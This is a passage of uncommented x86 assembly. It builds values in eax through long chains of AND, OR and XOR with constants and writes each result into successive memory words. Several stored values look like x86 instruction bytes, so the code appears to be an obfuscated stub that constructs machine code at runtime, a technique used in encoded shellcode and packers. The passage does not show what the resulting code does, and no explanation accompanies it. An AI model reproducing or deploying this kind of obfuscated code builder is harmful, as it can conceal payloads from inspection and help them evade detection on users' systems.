and eax, 0x18083b0
or eax, 0x400000
mov dword [ebx], eax
add ebx, edx
or eax, 0x416c9c6e
and eax, 0x1a00588
or eax, 0x8a104001
mov dword [ebx], eax
add ebx, edx
and eax, 0x261ad0be
or eax, 0x60a4e8c4
and eax, 0x62b4208c
or eax, 0x9d491401
mov dword [ebx], eax
add ebx, edx
xor eax, 0x74a5a486
xor eax, 0x3ec1c892
and eax, 0x30891899
or eax, 0x42366
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2630cd74
or eax, 0x467f755
and eax, 0x14fff7dd
or eax, 0x68000820
mov dword [ebx], eax
add ebx, edx
xor eax, 0x33a839ef
xor eax, 0x67ecc4ac
and eax, 0x110224
or eax, 0xd0448900
mov dword [ebx], eax
add ebx, edx
and eax, 0x4c5f2b8c
or eax, 0x6563cbcf
and eax, 0x2150410b
or eax, 0x1a881420
mov dword [ebx], eax
add ebx, edx
or eax, 0x2ff808d6
or eax, 0x63b369a9
and eax, 0x19785c55
or eax, 0x48000
mov dword [ebx], eax
add ebx, edx
or eax, 0x787cb5f0
and eax, 0x1384581
or eax, 0x280000a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x45988e9d
and eax, 0x20c804
or eax, 0x11551441
mov dword [ebx], eax
add ebx, edx
and eax, 0x35aa3890
and eax, 0x265a9119
and eax, 0
or eax, 0x83f44d8b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x124b54ca
xor eax, 0x1af0c46e
and eax, 0x9090129
or eax, 0x448000c0
mov dword [ebx], eax
add ebx, edx
or eax, 0x7f8e51d3
and eax, 0x480501f0
or eax, 0x80508a04
mov dword [ebx], eax
add ebx, edx
xor eax, 0x9d31f10
xor eax, 0x7e1f4154
and eax, 0x34905520
or eax, 0x4064000b
mov dword [ebx], eax
add ebx, edx
and eax, 0x49799820
and eax, 0x40400000
or eax, 0xa0058b09
mov dword [ebx], eax
add ebx, edx
and eax, 0x4df98f81
and eax, 0x18001
or eax, 0x89004082
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1d90ea7d
or eax, 0x45a3f10a
and eax, 0x4583e044
or eax, 0x8080001
mov dword [ebx], eax
add ebx, edx
and eax, 0x57b0962f
and eax, 0x30e3851a
and eax, 0x800000
or eax, 0x4d2f0ff8
mov dword [ebx], eax
add ebx, edx
or eax, 0x3634f0ef
and eax, 0x748985e8
or eax, 0x400000
mov dword [ebx], eax
add ebx, edx
and eax, 0x686cd459
and eax, 0x40408008
or eax, 0x9c150b00
mov dword [ebx], eax
add ebx, edx
or eax, 0x7603ac42
and eax, 0x4539d91a
and eax, 0x4400010a
or eax, 0x38c85431
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1da6c7ad
and eax, 0x65bcd0ac
and eax, 0x20048000
or eax, 0x98410b10
mov dword [ebx], eax
add ebx, edx
and eax, 0x465987e2
and eax, 0x11f322c5
and eax, 0x400000
or eax, 0x7db4453b
mov dword [ebx], eax
add ebx, edx
or eax, 0x2fdf21b7
and eax, 0x3c4d0102
or eax, 0x80008a40
mov dword [ebx], eax
add ebx, edx
xor eax, 0x152f100f
and eax, 0x29200909
or eax, 0x548c4432
mov dword [ebx], eax
add ebx, edx
and eax, 0xe92a408
and eax, 0xc000008
or eax, 0xa0558b32
mov dword [ebx], eax
add ebx, edx
or eax, 0x3113c619
and eax, 0x3c50453b
or eax, 0x40881000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x53975c87
and eax, 0x2c450928
or eax, 0xd0008201
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5e8bc8fb
xor eax, 0x67d7585a
and eax, 0x81010080
or eax, 0x800c003
mov dword [ebx], eax
add ebx, edx
and eax, 0x4643771e
and eax, 0x5df1c244
and eax, 0x14000
or eax, 0x4d8abc45
mov dword [ebx], eax
add ebx, edx
or eax, 0x4d67238e
and eax, 0x4daf0fcc
or eax, 0x30
mov dword [ebx], eax
add ebx, edx
xor eax, 0x377d0869
xor eax, 0x27f76ab1
and eax, 0x48052924
or eax, 0x80481290
mov dword [ebx], eax
add ebx, edx
or eax, 0x7425e44a
and eax, 0x5409147c
or eax, 0x1820000
mov dword [ebx], eax
add ebx, edx
and eax, 0x1206d17f
and eax, 0x261efc4e
and eax, 0x104c
or eax, 0xcc552390
mov dword [ebx], eax
add ebx, edx
or eax, 0x30cf8296
xor eax, 0x7d542cdc
and eax, 0x18b1500
or eax, 0x44000074
mov dword [ebx], eax
add ebx, edx
xor eax, 0x32392ab1
or eax, 0x3470e1db
and eax, 0x45a20fc4
or eax, 0xd0000
mov dword [ebx], eax
add ebx, edx
and eax, 0x29093f14
and eax, 0x10b00
or eax, 0xe84430f8
mov dword [ebx], eax
add ebx, edx
and eax, 0xe65f030
xor eax, 0x5695efd1
and eax, 0x4c800961
or eax, 0x10b001c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3ed394ab
xor eax, 0x2a654666
and eax, 0x12983b0
or eax, 0xc00048
mov dword [ebx], eax
add ebx, edx
or eax, 0x563d5df0
or eax, 0x3a1dc60e
and eax, 0xbf84d88
or eax, 0x80000001
mov dword [ebx], eax
add ebx, edx
or eax, 0x5b68008c
and eax, 0x280fb8f9
and eax, 0x8000001
or eax, 0xe283e454
mov dword [ebx], eax
add ebx, edx
and eax, 0x79dd79ef
or eax, 0x3af652bd
and eax, 0x60550001
or eax, 0x84008900
mov dword [ebx], eax
add ebx, edx
and eax, 0x30cf3b7a
and eax, 0x440100
or eax, 0x8388448b
mov dword [ebx], eax
add ebx, edx
and eax, 0x2746d369
and eax, 0x1000100
or eax, 0x448900c0
mov dword [ebx], eax
add ebx, edx
and eax, 0x2fa84e4a
xor eax, 0x4dde4233
and eax, 0x48444040
or eax, 0xb629a98c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x56490ab7
and eax, 0x800e37b
or eax, 0x458b1c84
mov dword [ebx], eax
add ebx, edx
and eax, 0x2497188c
or eax, 0x2008199b
and eax, 0x409198c
or eax, 0xd8442240
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7e0d144b
and eax, 0x505
or eax, 0x558b1078
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3fe2832b
and eax, 0x40290654
or eax, 0x15860980
mov dword [ebx], eax
add ebx, edx
and eax, 0x4bb6d53f
and eax, 0x40040110
or eax, 0xa0513ac8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6d3981f2
and eax, 0x5080828
or eax, 0x40830155
mov dword [ebx], eax
add ebx, edx
or eax, 0x2898e5c7
and eax, 0x18081f8
or eax, 0x400200
mov dword [ebx], eax
add ebx, edx
and eax, 0x2ff08dbf
and eax, 0xc00188
or eax, 0xe8384401
mov dword [ebx], eax
add ebx, edx
and eax, 0x1df453a3
or eax, 0x4d256709
and eax, 0x6381
or eax, 0
mov dword [ebx], eax
add ebx, edx
and eax, 0x55cc7a5d
and eax, 0x4000
or eax, 0x3840ce8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x471f2c17
or eax, 0x270e1fde
and eax, 0x45850b00
or eax, 0x18608000
mov dword [ebx], eax
add ebx, edx
and eax, 0x2cf509f0
and eax, 0xcc40800
or eax, 0xc008c4c3
mov dword [ebx], eax
add ebx, edx
xor eax, 0x17423276
and eax, 0xc88ccc84
or eax, 0x4400048
mov dword [ebx], eax
add ebx, edx
and eax, 0x29a705ed
and eax, 0x88004cc
or eax, 0xe40b5100
mov dword [ebx], eax
add ebx, edx
and eax, 0x6b262e0d
or eax, 0x37a646a9
and eax, 0x47044481
or eax, 0x8058a802
mov dword [ebx], eax
add ebx, edx
and eax, 0x6d821c89
and eax, 0x68aff541
and eax, 0x401
or eax, 0x8204a844
mov dword [ebx], eax
add ebx, edx
or eax, 0x140db46b
or eax, 0x59df34b6
and eax, 0x45c70001
or eax, 0
mov dword [ebx], eax
add ebx, edx
and eax, 0x71f1f67b
and eax, 0x3b658bac
and eax, 0x10000
or eax, 0x1ab0cc
mov dword [ebx], eax
add ebx, edx
and eax, 0x482b46d0
and eax, 0x10000
or eax, 0xb044c700
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7e988be0
and eax, 0x7386d91c
and eax, 0x4800
or eax, 0x30f7
mov dword [ebx], eax
add ebx, edx
or eax, 0x73ac7c77
xor eax, 0x1194edbc
and eax, 0x42000143
or eax, 0x85c04484
mov dword [ebx], eax
add ebx, edx
and eax, 0x7b94107c
xor eax, 0x62f0ae94
and eax, 0x10000d0
or eax, 0xc6000028
mov dword [ebx], eax
add ebx, edx
and eax, 0x2fc53a0
and eax, 0
or eax, 0x5d15f445
mov dword [ebx], eax
add ebx, edx
or eax, 0x5a02e400
xor eax, 0x540a477f
and eax, 0x1050000
or eax, 0x44c20001
mov dword [ebx], eax
add ebx, edx
or eax, 0x7854918d
xor eax, 0x640ef013
and eax, 0x1192188
or eax, 0x260a20
mov dword [ebx], eax
add ebx, edx
or eax, 0x509d39c1
or eax, 0x6801fb3f
and eax, 0x5005c300
or eax, 0x84400400
mov dword [ebx], eax
add ebx, edx
and eax, 0x7d27bad5
xor eax, 0x7c8e1dac
and eax, 0x9c84
or eax, 0x2002
mov dword [ebx], eax
add ebx, edx
xor eax, 0x14bfef4
and eax, 0x84042
or eax, 0x88b00585
mov dword [ebx], eax
add ebx, edx
and eax, 0x71923c36
and eax, 0xeb51cb9
and eax, 0
or eax, 0xc7000044
mov dword [ebx], eax
add ebx, edx
or eax, 0x3535111d
xor eax, 0x464cefcf
and eax, 0x3140f800
or eax, 0x4a000045
mov dword [ebx], eax
add ebx, edx
or eax, 0x7fa93f41
and eax, 0x45c10000
or eax, 0x60000
mov dword [ebx], eax
add ebx, edx
and eax, 0x8a2779a
and eax, 0x49476150
and eax, 0
or eax, 0x14169fc
mov dword [ebx], eax
add ebx, edx
or eax, 0xfeec67c
and eax, 0xc45c700
or eax, 0xe0000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7f44ed23
xor eax, 0x7dcae2e3
and eax, 0x840
or eax, 0x2722
mov dword [ebx], eax
add ebx, edx
and eax, 0xcef40b2
and eax, 0x340d81c6
and eax, 2
or eax, 0xad045c5
mov dword [ebx], eax
add ebx, edx
and eax, 0x714be0b8
xor eax, 0x7d9b62ee
and eax, 0x4500006a
or eax, 0x82000001
mov dword [ebx], eax
add ebx, edx
or eax, 0x4f8dcace
or eax, 0xa7faa78
and eax, 0xccc8c045
or eax, 0x30000400
mov dword [ebx], eax
add ebx, edx
and eax, 0x3488e832
xor eax, 0x2b5539ae
and eax, 0x5c50000
or eax, 0x40020000
mov dword [ebx], eax
add ebx, edx
and eax, 0xa004cd4
xor eax, 0x4ff5781d
and eax, 0x546008
or eax, 0xa04c0
mov dword [ebx], eax
add ebx, edx
or eax, 0x22f76c18
or eax, 0x79de661a
and eax, 0x20454600
or eax, 0x84008100
mov dword [ebx], eax
add ebx, edx
or eax, 0x5ad75a3e
xor eax, 0x1e63fa15
and eax, 0x240a
or eax, 0x9a84
mov dword [ebx], eax
add ebx, edx
or eax, 0x23358de4
and eax, 0x23405c6
or eax, 0xd0804001
mov dword [ebx], eax
add ebx, edx
or eax, 0x20e578f9
and eax, 0xc200000e
or eax, 0x5000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x12d6d5ad
and eax, 4
or eax, 0xfc5ae841
mov dword [ebx], eax
add ebx, edx
or eax, 0x4b504447
xor eax, 0x3e0cd6aa
and eax, 0x41460000
or eax, 0x4810000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x53082e81
or eax, 0x2143654d
and eax, 0x6458c
or eax, 0x100030
mov dword [ebx], eax
add ebx, edx
and eax, 0x6032d828
or eax, 0x63329493
and eax, 0x4000c400
or eax, 0x98450300
mov dword [ebx], eax
add ebx, edx
or eax, 0x103de8c9
xor eax, 0x54700d2e
and eax, 0x6042
or eax, 0x1410
mov dword [ebx], eax
add ebx, edx
and eax, 0x92eb9e4
and eax, 0x40
or eax, 0xe6dc4587
mov dword [ebx], eax
add ebx, edx
or eax, 0xc2bb5c8
and eax, 0x2ee0546b
and eax, 0x6000042
or eax, 0xc1000030
mov dword [ebx], eax
add ebx, edx
or eax, 0x5fd6ba9d
or eax, 0x193d4e4a
and eax, 0x919be445
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x5585eb9a
and eax, 0x458b0000
or eax, 0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7cae14ab
and eax, 0x380500a0
or eax, 0xc0400344
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1f80efe1
and eax, 0x16eb7ed2
and eax, 0x4c04400
or eax, 0x781c013b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x36214306
xor eax, 0xeaa5655
and eax, 0x44450048
or eax, 0xb8088b01
mov dword [ebx], eax
add ebx, edx
or eax, 0x4788b538
and eax, 0x2a9539f4
and eax, 0x8010100
or eax, 0x8100c083
mov dword [ebx], eax
add ebx, edx
xor eax, 0x204e4e76
and eax, 0x10b8c45
or eax, 0x54807008
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6f74fceb
and eax, 0xa11d4d2
and eax, 0x8110080
or eax, 0xd0443b7c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x38db3f75
or eax, 0x59a7f222
and eax, 0x41870029
or eax, 0x4400954
mov dword [ebx], eax
add ebx, edx
and eax, 0x337a09af
xor eax, 0x307a4729
and eax, 0
or eax, 0x1f0
mov dword [ebx], eax
add ebx, edx
or eax, 0x15cb4916
xor eax, 0x11629d4f
and eax, 0x401c000
or eax, 0xc3062b00
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5a0210b9
and eax, 0xf001
or eax, 0x44
mov dword [ebx], eax
add ebx, edx
and eax, 0x6217df4d
and eax, 0x22699aff
and eax, 0
or eax, 0x458b0000
mov dword [ebx], eax
add ebx, edx
or eax, 0x37d36bf
and eax, 0x40453294
or eax, 0xb0000140
mov dword [ebx], eax
add ebx, edx
and eax, 0xef5cdfa
and eax, 0x10050
or eax, 0x4d8a0c24
mov dword [ebx], eax
add ebx, edx
xor eax, 0x37182f4e
and eax, 0x5d2f682d
and eax, 0x48030020
or eax, 0x5ac0fd4
mov dword [ebx], eax
add ebx, edx
and eax, 0x2acf4509
and eax, 0x80d0100
or eax, 0xe4403ad0
mov dword [ebx], eax
add ebx, edx
or eax, 0x63a028c1
and eax, 0x45891050
or eax, 0x1002042c
mov dword [ebx], eax
add ebx, edx
and eax, 0xec6f64e
or eax, 0x21b0941c
and eax, 0x10004c
or eax, 0xc8452380
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7c4e62e3
and eax, 0x40b4124
or eax, 0x41801a50
mov dword [ebx], eax
add ebx, edx
and eax, 0x36246d09
xor eax, 0xcd198bf
and eax, 0x810184
or eax, 0x452e0e40
mov dword [ebx], eax
add ebx, edx
or eax, 0x1393f1f0
and eax, 0x40053be4
or eax, 0xa8400008
mov dword [ebx], eax
add ebx, edx
and eax, 0x2b30cf28
and eax, 0x8000b28
or eax, 0x458b4455
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4946bac3
and eax, 0x4d21a8
or eax, 0xf8000a40
mov dword [ebx], eax
add ebx, edx
and eax, 0x7444f81d
or eax, 0x74443475
and eax, 0x74440c39
or eax, 0x9b84102
mov dword [ebx], eax
add ebx, edx
and eax, 0x463e8e6d
or eax, 0x46b4e160
and eax, 0x44148929
or eax, 0xa0410202
mov dword [ebx], eax
add ebx, edx
and eax, 0x2454aec9
or eax, 0xe84953b
and eax, 0x2cd4153b
or eax, 0x51204000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1e7289f1
or eax, 0x7b1d57b0
and eax, 0x6005c708
or eax, 0x80400001
mov dword [ebx], eax
add ebx, edx
and eax, 0x519bf069
xor eax, 0x609b4681
and eax, 0
or eax, 1
mov dword [ebx], eax
add ebx, edx
xor eax, 0x56f0ae9c
and eax, 0x44c00689
or eax, 0x1070162
mov dword [ebx], eax
add ebx, edx
xor eax, 0x23880206
xor eax, 0x11cce00a
and eax, 0xe0
or eax, 0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7ac95e79
and eax, 0x40410a00
or eax, 0x80048100
mov dword [ebx], eax
add ebx, edx
or eax, 0x60974f61
and eax, 0x60c04501
or eax, 0x1420000a
mov dword [ebx], eax
add ebx, edx
or eax, 0x3591cd75
and eax, 0x7441890b
or eax, 0x880c0200
mov dword [ebx], eax
add ebx, edx
xor eax, 0x11c89d3d
and eax, 0xac050606
or eax, 0x1048a909
mov dword [ebx], eax
add ebx, edx
and eax, 0x64795209
or eax, 0x1b7998b0
and eax, 0x10718881
or eax, 0x44104
mov dword [ebx], eax
add ebx, edx
xor eax, 0x72213a60
or eax, 0x1feaba50
and eax, 0x3bb85181
or eax, 0x40a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x9fc8433
and eax, 0x1044d010
or eax, 0x1392445
mov dword [ebx], eax
add ebx, edx
or eax, 0x5c8df04e
and eax, 0x1655387e
and eax, 0x14000a
or eax, 0xba04581
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5d3a6994
and eax, 0x73d45fc4
and eax, 0x40004
or eax, 0x970b041
mov dword [ebx], eax
add ebx, edx
or eax, 0x255d8c98
and eax, 0x8723af3
and eax, 0x700881
or eax, 0x8388450a
mov dword [ebx], eax
add ebx, edx
or eax, 0x7b8675d0
and eax, 0x498801c9
or eax, 0x4010020
mov dword [ebx], eax
add ebx, edx
or eax, 0x333bb6f1
and eax, 0x241b73dc
and eax, 0x40103d8
or eax, 0x59e48820
mov dword [ebx], eax
add ebx, edx
or eax, 0xd90f6f8
xor eax, 0x2cce17f
and eax, 0x4c091483
or eax, 0xa0824140
mov dword [ebx], eax
add ebx, edx
or eax, 0x14cd8f6b
and eax, 0xc44ccc83
or eax, 0x3202000
mov dword [ebx], eax
add ebx, edx
and eax, 0xedfeccc
and eax, 0x204e000
or eax, 0xf9900045
mov dword [ebx], eax
add ebx, edx
xor eax, 0x372dd1e8
and eax, 0x44810000
or eax, 0x1460000
mov dword [ebx], eax
add ebx, edx
or eax, 0x662585d2
and eax, 0x580a4058
and eax, 0
or eax, 0x90d8a4
mov dword [ebx], eax
add ebx, edx
or eax, 0x2215ac77
and eax, 0x2005c400
or eax, 0xd8400300
mov dword [ebx], eax
add ebx, edx
and eax, 0x5b73f5e3
or eax, 0x650f389b
and eax, 0x16500
or eax, 0
mov dword [ebx], eax
add ebx, edx
and eax, 0x76979db5
and eax, 0x500
or eax, 0xfab040c7
mov dword [ebx], eax
add ebx, edx
xor eax, 0x46af9e38
and eax, 0x84000064
or eax, 0x43000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x2a080761
and eax, 0x2000040
or eax, 0x40e3dc05
mov dword [ebx], eax
add ebx, edx
and eax, 0x3b4ecd4d
xor eax, 0x24d9deca
and eax, 0x4830000
or eax, 0x41440000
mov dword [ebx], eax
add ebx, edx
or eax, 0x266dd1aa
xor eax, 0x7f7a0b8e
and eax, 0x44204
or eax, 0x4805c8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7d78fb7f
and eax, 0x68048400
or eax, 0x80414300
mov dword [ebx], eax
add ebx, edx
and eax, 0x7bda586b
or eax, 0x140e5e43
and eax, 0x5a00
or eax, 0x2128
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7c5000c4
and eax, 0x445041c4
or eax, 0x880403
mov dword [ebx], eax
add ebx, edx
or eax, 0x453ffe4d
and eax, 0x45000006
or eax, 0x82000030
mov dword [ebx], eax
add ebx, edx
and eax, 0x9066999
and eax, 0
or eax, 0xc479fc45
mov dword [ebx], eax
add ebx, edx
xor eax, 0x55772d3c
and eax, 0x5dbe678
and eax, 0x1020000
or eax, 0x44c50000
mov dword [ebx], eax
add ebx, edx
or eax, 0x61f78299
and eax, 0x420080
or eax, 0x84964
mov dword [ebx], eax
add ebx, edx
and eax, 0x51d5b063
and eax, 0x400000
or eax, 0xf405c700
mov dword [ebx], eax
add ebx, edx
and eax, 0x487d6aaa
and eax, 0x4200
or eax, 0x8985
mov dword [ebx], eax
add ebx, edx
and eax, 0x42542e42
and eax, 0
or eax, 0x9fc845c7
mov dword [ebx], eax
add ebx, edx
and eax, 0x6892c10b
and eax, 2
or eax, 0xc700002c
mov dword [ebx], eax
add ebx, edx
or eax, 0x3f645b70
or eax, 0x2300ab33
and eax, 0x3b24b845
or eax, 0x20000
mov dword [ebx], eax
add ebx, edx
or eax, 0x20ed00b4
and eax, 0x1c70000
or eax, 0x44000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x30d65e71
xor eax, 0x3adb6eca
and eax, 0x182cc0
or eax, 0xa28010
mov dword [ebx], eax
add ebx, edx
and eax, 0x3ec58da9
and eax, 0x8400
or eax, 0xbc454300
mov dword [ebx], eax
add ebx, edx
and eax, 0x6f9f444a
and eax, 0x70af02c7
and eax, 0
or eax, 0x27f5
mov dword [ebx], eax
add ebx, edx
and eax, 0x4396e8a
and eax, 0x480
or eax, 0x96c04147
mov dword [ebx], eax
add ebx, edx
or eax, 0x7b24cf12
xor eax, 0x4c4ce337
and eax, 0x830000e0
or eax, 0x4400001f
mov dword [ebx], eax
add ebx, edx
and eax, 0x62979cf1
and eax, 0x40000041
or eax, 0x2c1aac04
mov dword [ebx], eax
add ebx, edx
or eax, 0x2b47afce
and eax, 0x45470001
or eax, 0x800000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x51c87d
and eax, 0x120828
or eax, 0x482180
mov dword [ebx], eax
add ebx, edx
or eax, 0x3cb0ccbf
xor eax, 0x6502751a
and eax, 0x48408000
or eax, 0xa4054700
mov dword [ebx], eax
add ebx, edx
or eax, 0x5437acd8
and eax, 0xa658
or eax, 0x22
mov dword [ebx], eax
add ebx, edx
or eax, 0x590049b9
or eax, 0x45a5e4a7
and eax, 0x41a045c7
or eax, 0x80500000
mov dword [ebx], eax
add ebx, edx
or eax, 0x2f5572f9
and eax, 0x7bc705cd
and eax, 0x43000144
or eax, 0x84000010
mov dword [ebx], eax
add ebx, edx
or eax, 0x63de98eb
and eax, 0x6869045
or eax, 0x18004400
mov dword [ebx], eax
add ebx, edx
or eax, 0x614e70ba
and eax, 0x458a0001
or eax, 0x10000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5d377a10
or eax, 0x6e2037fd
and eax, 0x32042ddc
or eax, 0x1000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x497f6bd2
or eax, 0x79805c58
and eax, 0x41890000
or eax, 0x4000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x337db0b9
and eax, 0x64448098
or eax, 0x80090b44
mov dword [ebx], eax
add ebx, edx
xor eax, 0x56e552a0
and eax, 0x80884900
or eax, 0x9540403
mov dword [ebx], eax
add ebx, edx
and eax, 0x667dded4
or eax, 0x65040ce5
and eax, 0x1484445
or eax, 0x8a3a008
mov dword [ebx], eax
add ebx, edx
and eax, 0x6ce387f0
xor eax, 0x3fb3e850
and eax, 0x3404400
or eax, 0x80a4118b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x483c952c
and eax, 0x8de0f8
and eax, 0x880080
or eax, 0x55010142
mov dword [ebx], eax
add ebx, edx
xor eax, 0xccaeb7d
and eax, 0x40418aa4
or eax, 0xa4040140
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6a08e179
and eax, 0xe084019
or eax, 0x1a00522
mov dword [ebx], eax
add ebx, edx
or eax, 0xcb997b1
or eax, 0x36aa73a4
and eax, 0x1868d
or eax, 0x800
mov dword [ebx], eax
add ebx, edx
and eax, 0x2c9ea0ab
and eax, 0x8000
or eax, 0xd44d0b00
mov dword [ebx], eax
add ebx, edx
or eax, 0x601fb96d
and eax, 0x74400929
or eax, 0x9a04412
mov dword [ebx], eax
add ebx, edx
and eax, 0x7267ed24
and eax, 0x60400900
or eax, 0x8c158213
mov dword [ebx], eax
add ebx, edx
and eax, 0x531200b6
or eax, 0x2a0bd86a
and eax, 0x6010500a
or eax, 0x14e40501
mov dword [ebx], eax
add ebx, edx
or eax, 0x28232b1e
and eax, 0x78450b0b
or eax, 0x80008000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x290fc7cc
and eax, 0x11404403
or eax, 0x2ab00128
mov dword [ebx], eax
add ebx, edx
and eax, 0x151e9780
and eax, 0x77c7723
and eax, 0x100000
or eax, 0x86cc845
mov dword [ebx], eax
add ebx, edx
and eax, 0x1819e75a
and eax, 0x184000
or eax, 0x23c00d8b
mov dword [ebx], eax
add ebx, edx
or eax, 0x31178cb
or eax, 0x3fa3604
and eax, 0x1707c4d
or eax, 0x8048000
mov dword [ebx], eax
add ebx, edx
or eax, 0x325421ad
and eax, 0x5e67b75f
and eax, 0x2601509
or eax, 0x81884082
mov dword [ebx], eax
add ebx, edx
and eax, 0x3f7bb1a2
and eax, 0x1080182
or eax, 0x54810040
mov dword [ebx], eax
add ebx, edx
and eax, 0x5dab40e6
xor eax, 0x23688587
and eax, 0x34418140
or eax, 0x88040aa8
mov dword [ebx], eax
add ebx, edx
and eax, 0x4c2b142a
xor eax, 0x1bffe38c
and eax, 0x13b04100
or eax, 0x28000403
mov dword [ebx], eax
add ebx, edx
and eax, 0x42a06612
or eax, 0x4686f28
and eax, 0x4686000
or eax, 0x28159045
mov dword [ebx], eax
add ebx, edx
or eax, 0x2dd2b467
and eax, 0x29f44403
or eax, 0x12000988
mov dword [ebx], eax
add ebx, edx
or eax, 0x4550dcb4
or eax, 0x4063fbbb
and eax, 0x2475c80d
or eax, 0x80040
mov dword [ebx], eax
add ebx, edx
xor eax, 0x653a6040
and eax, 0x1400009
or eax, 0x2ab85582
mov dword [ebx], eax
add ebx, edx
or eax, 0x13dcbfad
xor eax, 0xff24639
and eax, 0x140a9814
or eax, 0x41314441
mov dword [ebx], eax
add ebx, edx
xor eax, 0x14563123
xor eax, 0x4bcd9b87
and eax, 0xa0074b0
or eax, 0x81190908
mov dword [ebx], eax
add ebx, edx
xor eax, 0x36bffe74
xor eax, 0x6b5d20e8
and eax, 0x443b8004
or eax, 0x1004c41
mov dword [ebx], eax
add ebx, edx
xor eax, 0x22b0dafd
and eax, 0x30114b8
or eax, 0x88106944
mov dword [ebx], eax
add ebx, edx
or eax, 0x68058f83
or eax, 0x1e34b268
and eax, 0x4d01f04d
or eax, 0xa0000
mov dword [ebx], eax
add ebx, edx
and eax, 0x2458232e
or eax, 0x3a45690a
and eax, 0xa096008
or eax, 0x810014e0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x59c21f83
and eax, 0xc2834841
or eax, 0x9014
mov dword [ebx], eax
add ebx, edx
or eax, 0x4cb1d69f
and eax, 0xc8118801
or eax, 0x10440100
mov dword [ebx], eax
add ebx, edx
and eax, 0x730854c3
and eax, 1
or eax, 0x83ec458a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x37066924
and eax, 0x4880080
or eax, 0x41010140
mov dword [ebx], eax
add ebx, edx
and eax, 0x1ef445b4
and eax, 0x6b714f3d
and eax, 0x100
or eax, 0xe04d8aec
mov dword [ebx], eax
add ebx, edx
and eax, 0x765f7742
and eax, 0x57a56a10
and eax, 0x40040000
or eax, 0x34f84d2b
mov dword [ebx], eax
add ebx, edx
or eax, 0x4c3dadd3
and eax, 0x78558911
or eax, 0x80000200
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6381acb1
or eax, 0x75a5c22e
and eax, 0x7dd0452a
or eax, 0x81011
mov dword [ebx], eax
add ebx, edx
xor eax, 0x37414326
xor eax, 0x1ba75adf
and eax, 0x50040800
or eax, 0xa4418309
mov dword [ebx], eax
add ebx, edx
and eax, 0x249d7150
and eax, 0x721f883a
and eax, 0x10000
or eax, 0x8900c083
mov dword [ebx], eax
add ebx, edx
or eax, 0x638ac995
or eax, 0x5454c298
and eax, 0x4d8bc005
or eax, 0x3440
mov dword [ebx], eax
add ebx, edx
and eax, 0x75387869
and eax, 0x1000040
or eax, 0xc183a0
mov dword [ebx], eax
add ebx, edx
and eax, 0xfffc72c
and eax, 0x1c00100
or eax, 0x8a204c89
mov dword [ebx], eax
add ebx, edx
or eax, 0x206193b4
and eax, 0x107c010e
and eax, 0x200004
or eax, 0x551be851
mov dword [ebx], eax
add ebx, edx
or eax, 0x34c73ff6
or eax, 0x17fd9b25
and eax, 0x47097df0
or eax, 0x80000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x4d2a76dd
and eax, 0x4440
or eax, 0x18005
mov dword [ebx], eax
add ebx, edx
or eax, 0x7bf3f74e
and eax, 0x3e30000
or eax, 0x4080000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1c298649
xor eax, 0x1d48965d
and eax, 0x800004
or eax, 0x4445c3
mov dword [ebx], eax
add ebx, edx
or eax, 0x76addd58
and eax, 0x2000000
or eax, 0x89000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7f522df9
xor eax, 0x77e3f6f2
and eax, 0x131c801
or eax, 0x44022444
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5e81c714
and eax, 0xb302140
or eax, 0x80005484
mov dword [ebx], eax
add ebx, edx
or eax, 0x1d1a132a
and eax, 0xd0a244c
or eax, 0x40018001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6e2f1d8c
xor eax, 0x6c3f4f9f
and eax, 0xb117458
or eax, 0x802000a0
mov dword [ebx], eax
add ebx, edx
or eax, 0x6c390cd8
or eax, 0x78cc42a4
and eax, 0x55016054
or eax, 0x28001
mov dword [ebx], eax
add ebx, edx
or eax, 0x640d994f
and eax, 0x20058954
or eax, 0x80500080
mov dword [ebx], eax
add ebx, edx
and eax, 0x6c3c97e5
xor eax, 0x35af0b03
and eax, 0x1b80083
or eax, 0x88444508
mov dword [ebx], eax
add ebx, edx
xor eax, 0x467b83e9
and eax, 0x201a6bb6
and eax, 0x20000
